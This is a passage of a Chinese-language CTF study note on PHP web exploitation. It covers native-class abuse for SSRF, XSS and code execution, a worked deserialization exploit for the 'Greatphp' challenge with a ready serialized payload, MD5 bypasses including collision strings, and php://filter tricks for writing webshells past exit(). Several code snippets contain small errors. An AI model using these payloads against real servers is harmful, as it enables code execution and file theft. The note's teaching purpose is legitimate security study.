17
18
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

Exception 类

Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。

类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

输出如下:

1
2
3
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

1
2
3
4
5
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

1
2
3
4
5
6
7
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

可见,$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

读取文件

可使用:SplFileObject

这里可以使用php伪协议(如:php://filterfile://等)

用法:

1
2
3
4
<?php
$f=new SplFileObject('/flag') //读取flag文件
}
?>

遍历目录

可使用:DirectoryIteratorRecursiveDirectoryIteratorFilesystemIterator
用法:

1
2
3
4
5
6
<?php
$f=new DirectoryIterator('/') //扫描根目录
foreach($dir as $f) {
echo($f . '<br>');
}
?>

RecursiveDirectoryIteratorFilesystemIterator类同上
FilesystemIterator不会输出..

访问服务器的类(SSRF可利用)

SoapClient 类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

注:SoapClient类虽然是php内置类,但是不属于php核心类,需要有soap扩展,如果经过实践后报错 Class 'SoapClient' not found那就说明行不通

该扩展默认不开启,我们需要修改 php.ini 开启扩展。

1
extension=soap

另外在 Linux 下还要安装扩展:

1
sudo apt install php-soap

类摘要如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用进行 SSRF 代码解析

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/aaa', 'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

注意: SoapClient 类的user_agent 等可控字段允许插入 \r\n,可扩展为 CRLF 注入 来伪造额外请求头或请求体。CRLF注入在这里不多赘述,附上个别人的博客CRLF注入漏洞(响应截断)攻击实战

使用原生类进行代码执行

使用异常处理类Exception执行代码

  • 适用于php5、7版本
  • 开启报错的情况下
1
echo new Exception(phpinfo());

使用CachingIterator类执行代码

1
echo new CachingIterator(phpinfo());

使用Error类执行代码

  • 适用于php7版本
  • 在开启报错的情况下
1
echo new Error(phpinfo());

使用DirectoryIterator类执行代码

1
echo new DirectoryIterator(phpinfo());

反射类的使用

ReflectionClass

ReflectionClass类可以获取类的名称、父类、接口、方法、属性

1
2
3
4
<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>

利用ReflectionClass 执行命令

1
2
3
<?php
echo new ReflectionClass(phpinfo());
?>

使用 Error/Exception 内置类进行 XSS

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

下面演示如何使用 Error 内置类来构造 XSS。

测试代码:

1
2
3
4
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)

给出POC:

1
2
3
4
5
6
7
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

20210329180244-e825386c-9075-1

成功弹窗。

Exception类相同

使用 Error/Exception 内置类绕过哈希比较

[2020 极客大挑战]Greatphp

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

可见,需要进入eval()执行代码需要先通过上面的if语句:

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。

这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 ExceptionError ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

根据刚才讲的Error类和Exception类中 __toString 方法的特性,我们可以用这两个内置类进行绕过。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error__toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

1
2
3
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。

生成的payload如下:

1
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

执行便可得到flag:

20210329180247-e9ac60ac-9075-1

(8)php超级全局变量

PHP中预定义了几个超级全局变量(superglobals) ,这意味着它们在一个脚本的全部作用域中都可用。 你不需要特别说明,就可以在函数及类中使用。

PHP 超级全局变量列表:

  • $GLOBALS
  • $_SERVER
  • $_REQUEST
  • $_POST
  • $_GET
  • $_FILES
  • $_ENV
  • $_COOKIE
  • $_SESSION

$GLOBALS

$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。

$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

以下实例介绍了如何使用超级全局变量 $GLOBALS:

1
2
3
4
5
6
7
8
9
10
<?php 
$x = 75;
$y = 25;
function addition()
{
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;
?>//以上实例中 z 是一个$GLOBALS数组中的超级全局变量,该变量同样可以在函数外访问。

$_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。

下表列出了所有 $_SERVER 变量中的重要元素:

元素/代码 描述
$_SERVER[‘PHP_SELF’] 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。__FILE_ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。
$_SERVER[‘GATEWAY_INTERFACE’] 服务器使用的 CGI 规范的版本;例如,”CGI/1.1”。
$_SERVER[‘SERVER_ADDR’] 当前运行脚本所在的服务器的 IP 地址。
$_SERVER[‘SERVER_NAME’] 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。(如: www.runoob.com)
$_SERVER[‘SERVER_SOFTWARE’] 服务器标识字符串,在响应请求时的头信息中给出。 (如:Apache/2.2.24)
$_SERVER[‘SERVER_PROTOCOL’] 请求页面时通信协议的名称和版本。例如,”HTTP/1.0”。
$_SERVER[‘REQUEST_METHOD’] 访问页面使用的请求方法;例如,”GET”, “HEAD”,”POST”,”PUT”。
$_SERVER[‘REQUEST_TIME’] 请求开始时的时间戳。从 PHP 5.1.0 起可用。 (如:1377687496)
$_SERVER[‘QUERY_STRING’] query string(查询字符串),如果有的话,通过它进行页面访问。
$_SERVER[‘HTTP_ACCEPT’] 当前请求头中 Accept: 项的内容,如果存在的话。
$_SERVER[‘HTTP_ACCEPT_CHARSET’] 当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:”iso-8859-1,*,utf-8”。
$_SERVER[‘HTTP_HOST’] 当前请求头中 Host: 项的内容,如果存在的话。
$_SERVER[‘HTTP_REFERER’] 引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。)
$_SERVER[‘HTTPS’] 如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。
$_SERVER[‘REMOTE_ADDR’] 浏览当前页面的用户的 IP 地址。
$_SERVER[‘REMOTE_HOST’] 浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。
$_SERVER[‘REMOTE_PORT’] 用户机器上连接到 Web 服务器所使用的端口号。
$_SERVER[‘SCRIPT_FILENAME’] 当前执行脚本的绝对路径。
$_SERVER[‘SERVER_ADMIN’] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。(如:someone@runoob.com)
$_SERVER[‘SERVER_PORT’] Web 服务器使用的端口。默认值为 “80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。
$_SERVER[‘SERVER_SIGNATURE’] 包含了服务器版本和虚拟主机名的字符串。
$_SERVER[‘PATH_TRANSLATED’] 当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。
$_SERVER[‘SCRIPT_NAME’] 包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。
$_SERVER[‘SCRIPT_URI’] URI 用来指定要访问的页面。例如 “/index.html”。

$_REQUEST

$_REQUEST 是 PHP 的一个超全局变量,它包含了提交的表单数据和所有的 cookie 数据。

换句话说,$_REQUEST 是一个数组,包含来自 $_GET$_POST$_COOKIE 的数据。

你可以通过 $_REQUEST 关键字加上表单字段或 cookie 的名称来访问这些数据,像这样:

1
$_REQUEST['firstname']

$_POST

PHP $_POST 被广泛应用于收集表单数据,在HTML form标签的指定该属性:”method=”post”。
就算接收POST的数据

$_GET

PHP $_GET 同样被广泛应用于收集表单数据,在HTML form标签的指定该属性:”method=”get”。
接收GET数据

$_FILES

$_FILES 是 PHP 中专门用于处理通过 HTTP POST 请求上传文件的超全局变量。它提供了一个统一的方式来访问上传文件的相关信息,包括文件名、类型、大小、临时存储路径等,从而简化了文件上传的处理流程。

使用场景

$_FILES 主要用于以下场景:

  • 用户上传图片、文档或音频等文件。
  • 实现多文件上传功能。
  • 文件管理系统中对上传文件的操作,如重命名、移动或删除。
  • 视频或音乐分享平台的多媒体文件上传。
  • 表单中同时上传文本数据和文件。

常用字段

  • $_FILES['userfile']['name']:上传文件的原始名称。
  • $_FILES['userfile']['type']:文件的 MIME 类型。
  • $_FILES['userfile']['size']:文件大小(字节)。
  • $_FILES['userfile']['tmp_name']:临时存储路径。
  • $_FILES['userfile']['error']:错误代码(如 UPLOAD_ERR_OK 表示成功)。

$_ENV

$_ENV 是一个包含服务器端环境变量的数组。它是 PHP 中的一个超级全局变量,可以在 PHP 程序的任何地方直接访问。

示例

1
2
3
<?php
echo 'My username is ' . $_ENV["USER"] . '!';
?>

假设 “bjori” 运行此段脚本,输出将类似于:

1
My username is bjori!

说明

这些变量通过环境方式传递给当前脚本,并被导入到 PHP 的全局命名空间。很多变量是由支持 PHP 运行的 Shell 提供的,不同系统可能运行着不同种类的 Shell。

常见元素

  • $_ENV[‘PATH’]: 环境变量 PATH 路径。
  • $_ENV[‘OS’]: 操作系统类型。
  • $_ENV[‘LANG’]: 系统语言,如 en_US 或 zh_CN。
  • $_ENV[‘PWD’]: 当前工作目录。

注意事项

如果 $_ENV 为空,可以检查 php.ini 的配置,确保 variables_order 包含 “E”。

variables_order = “EGPCS”

这表示 PHP 接受的外部变量来源及顺序为 Environment、Get、Post、Cookies 和 Server。如果缺少 “E”,则 PHP 无法接受环境变量,$_ENV 也会为空。

总之,$_ENV 是一个非常有用的工具,可以帮助开发者获取服务器端的环境信息,但在生产环境中应谨慎使用以确保安全性。(说明可以利用它去挖掘安全问题)

$_COOKIE是一个 associative array(关联数组),它包含了所有通过HTTP Cookie发送到当前脚本的变量。每当客户端发送请求时,服务器会自动填充这个数组,使得开发者可以轻松访问和操作Cookie数据

在PHP中,设置Cookie通常使用setcookie()函数。以下是一个简单的示例:

1
2
3
4
<?php
// 设置一个名为"user"的Cookie,值为"John Doe",有效期为1小时
setcookie("user", "John Doe", time() + 3600, "/", "", false, true);
?>

参数说明:

  • name:Cookie的名称。
  • value:Cookie的值。
  • expire:Cookie的有效期,通常使用time()函数加上秒数。
  • path:Cookie在服务器上的路径。
  • domain:Cookie的有效域名。
  • secure:是否仅通过HTTPS传输。
  • httponly:是否仅通过HTTP协议访问,防止JavaScript访问。

读取Cookie非常简单,只需访问$_COOKIE数组即可:

1
2
3
4
5
6
7
8
<?php
// 检查"user" Cookie是否存在
if (isset($_COOKIE["user"])) {
echo "User: " . $_COOKIE["user"];
} else {
echo "User Cookie not set.";
}
?>

安全性考虑

  • 使用HTTPS:确保Cookie通过安全的HTTPS连接传输,设置secure参数为true
  • HTTPOnly:设置httponly参数为true,防止JavaScript访问Cookie,减少XSS攻击风险。
1
setcookie("user", "John Doe", time() + 3600, "/", "", true, true);

有效期管理

  • 合理设置有效期:根据实际需求设置Cookie的有效期,避免过长或过短。
  • 及时删除Cookie:当不再需要Cookie时,应及时删除。
1
2
// 删除"user" Cookie
setcookie("user", "", time() - 3600, "/", "", true, true);

路径和域名

  • 明确路径:根据应用需求设置Cookie的路径,确保只在需要的地方可用。
  • 限制域名:尽量将Cookie限制在特定域名下,避免跨域问题。
1
setcookie("user", "John Doe", time() + 3600, "/admin", "example.com", true, true);

数据加密

  • 敏感数据加密:对于存储在Cookie中的敏感数据,应进行加密处理。
1
2
$encryptedValue = base64_encode(openssl_encrypt("John Doe", "AES-256-CBC", "your_secret_key", 0, "your_iv"));
setcookie("user", $encryptedValue, time() + 3600, "/", "", true, true);

$_SESSION

***$_SESSION*** 是 PHP 提供的一个超级全局变量,用于在服务器端存储用户会话信息。它允许在不同页面之间共享数据,并且每个用户的会话数据是独立的。以下是其主要特点和使用方法:

特点

  • 会话唯一性:每个用户会话都有一个唯一的会话 ID(UID),用于区分不同用户。
  • 临时性:会话数据在用户关闭浏览器或会话超时后会被清除。
  • 作用范围广:会话数据可以在整个应用程序的所有页面中访问。

使用方法

  • 启动会话: 在使用 $_SESSION 之前,必须调用 session_start() 函数来启动会话。

  • <?php
    session_start();
    ?>
    
    1
    2
    3
    4
    5
    6
    7
    8

    - **存储会话数据**: 可以通过 *$_SESSION* 数组存储数据。例如:

    - ```php
    <?php
    session_start();
    $_SESSION['username'] = 'JohnDoe';
    ?>
  • 读取会话数据: 在其他页面中,可以直接访问 $_SESSION 中存储的数据:

  • <?php
    session_start();
    echo "用户名:" . $_SESSION['username'];
    ?>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    - **删除会话数据**: 使用 *unset()* 删除特定会话变量,或使用 *session_destroy()* 清除所有会话数据:

    - ```php
    <?php
    session_start();
    unset($_SESSION['username']); // 删除特定变量
    session_destroy(); // 清除所有会话数据
    ?>

注意事项

  • 安全性:会话 ID 通常存储在客户端的 Cookie 中,因此需要防范会话劫持和固定攻击。
  • 持久化需求:如果需要长期存储数据,应将数据存储在数据库中,而不是依赖会话。

通过 $_SESSION,PHP 提供了一种简单而强大的方式来管理用户会话数据,适用于用户登录、购物车等场景。

说起来这一块有一个PHP session反序列化漏洞,这个我下面的反序列化板块有说

4.php绕过

(1)经典 md5 绕过

MD5 绕过自然不用说,大家或多或少都已经熟能生巧了,这里就是针对 md5 做个总结(其实还有一个sha1()函数是相同的解决方法)

非强制字符串类型

1
2
3
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}

像这样没有强制转换字符串的,只要传入数组类型全可以绕过(注:现 PHP8 版本无法这样绕过,若不行的话记得按下面的方法尝试)

1
param1[]=1&param2[]=2 //类似这样就好

原理是在 PHP 5 和 PHP 7 中,当对数组进行 MD5 哈希计算时,结果为 NULL。因此,两个不同的数组在进行 MD5 比较时,结果会被认为相等。

强制字符串类型

1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
} //简单的类型差不多像这样
弱比较绕过(0e绕过)

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

以下值在sha1加密后以0E开头:

  • sha1(‘aaroZmOk’)
  • sha1(‘aaK1STfY’)
  • sha1(‘aaO8zKZF’)
  • sha1(‘aa3OFF9m’)

双重 MD5 加盐绕过

某些系统会对密码进行双重 MD5 加盐处理,例

1
md5(md5($password) . "SALT")

这种题目直接写脚本爆破(脚本仅供参考,遇到题目建议还是自己写一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import itertools
import string
def encode(pwd):
first_md5 = hashlib.md5(pwd.encode()).hexdigest()
with_salt = first_md5 + "SALT"
return hashlib.md5(with_salt.encode()).hexdigest()
def find_magic_hash():
target_hash = "0e260265122865008095838959784793"
chars = string.ascii_letters + string.digits
for length in range(1, 7):
for candidate in itertools.product(chars, repeat=length):
pwd = ''.join(candidate)
if encode(pwd) == target_hash:
return pwd
password = find_magic_hash()
print(f"找到密码: {password}")

通过运行脚本,可以找到符合条件的密码并成功绕过验证。

强比较绕过(md5碰撞)
1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}

要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。

这主要是基于md5加密本身的漏洞,以下是payload:

1
2
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

注:post时一定要urlencode,不建议用浏览器插件HackBar,最好用抓包软件如bp等来传。

(2)php伪协议绕过死亡exit()

示例如下:

1
2
3
4
5
6
<?php
error_reporting(0);
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php exit();".$content);
?>

这里要是想写入一个php文件的话,那还没有运行到$content就会先exit()退出了,所以这里被称作死亡exit()

如果绕过死亡exit()呢?这里就可以用到php伪协议的写过滤器

利用base64的编码解码绕过

1
2
?file=php://filter/write=convert.base64-decode/resource=m.php
content=aPD9waHAgcGhwaW5mbygpOw==

对我们的content解释一下,PD9waHAgcGhwaW5mbygpOw== <—-> <?php phpinfo();这部分很好理解,至于前面加了一个字符a,是因为base64解码时4个字符转3个字符,而<?php exit();只有phpexit参与了base64的解码,所以需要补一位。

(补充:Base64,顾名思义,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号”+”、”/“一共64个字符的字符集,最后看情况补”=”使得总体字节数为4的倍数。)

利用rot13编码来绕过

1
2
?file=php://filter/write=string.rot13/resource=m.php
content=<?cuc cucvasb();?> //<?php phpinfo();?>

不过这个方式有局限性,不能开短标签解析,不然前面的<?php exit();也会因为被解析而报错

字符串去标签+Base64组合

<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

string.strip_tags可以过滤掉html标签和php标签里的内容,但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

1
2
?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=m.php
content=?>PD9waHAgcGhwaW5mbygpOw==

需要注意的是string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响

利用**convert.iconv.***的编码解码绕过

利用:

1
2
3
php://filter/convert.iconv.UCS-2BE.UCS-2LE/resource=m.php
or
php://filter/convert.iconv.UCS-4BE.UCS-4LE/resource=m.php

解释:

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的content字节数需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了。我们利用如下方法构造我们需要的payload。(注意倍数问题,否则输出错误。)

1
2
3
echo iconv('UCS-2LE','UCS-2BE','<?php phpinfo();?>');    //?<hp phpipfn(o;)>?

echo iconv('UCS-4LE','UCS-4BE','<?php phpinfo();'); //hp?<hp pfnip;)(o

然后构造我们的content内容使得<?php exit();在经过该过滤器后被乱码无法正常解析从而绕过死亡退出同时保证我们的payload在经过过滤器以后被正常解析。

1
2
3
content=a?<hp phpipfn(o;)>?
or
content=aaahp?<hp pfnip;)(o

最后在这里贴一个P神的博客

还有其他形式的死亡exit(),再贴一个我参考的博客

5.php反序列化

(1)PHP unserialize 反序列化

正常做就行,总的来说就是找链子

魔术方法

对象.方法

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件触发

__construct

构造函数,在实例化一个对象的时候,首先会去自动触发(执行)的一个方法

上面已经见识过了

__destruct()

析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法

触发时机:

1、实例化对象结束后触发 如$test=new User();

2、在反序列化之后立马会触发(序列化不会触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __destruct(){
echo "destruct魔术方法被触发了";
}
}
$cc = new CC('admin', 'password');
$s=serialize($cc);
var_dump(unserialize($s));
__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep。如果存在,该方法会先被调用,然后才执行序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __sleep(){
echo "sleep魔术方法被触发了";
}
}
$cc = new CC('admin', 'password');
$s=serialize($cc);
__wakeup()

unserialize()会检查是否存在一个__wakeup() 方法,如果存在,则==会先调用==__wakeup() 方法,预先准备对象需要的资源

触发时机:反序列化unserialize()之前

__wakeup() 反序列化之前触发

